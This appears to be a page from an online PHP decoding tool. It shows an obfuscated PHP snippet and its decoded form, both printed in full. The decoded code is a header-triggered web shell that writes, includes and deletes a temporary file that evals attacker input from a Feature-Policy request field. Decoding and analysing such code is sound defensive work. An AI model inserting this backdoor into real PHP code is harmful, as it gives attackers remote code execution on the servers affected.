Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x..

Decoded Output download

<?  	$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<?php @eval($_REQUEST["Feature-Policy"]);@eval($_HEADERS[\"Feature-Policy\"]);";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} ?>

Did this file decode correctly?

Original Code

	$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x46e\x61\x74u\x72\x65-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x46\x65a\x74\x75r\x65\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 d15a590bc97d2b87728a97ab968886ab
Eval Count 0
Decode Time 63 ms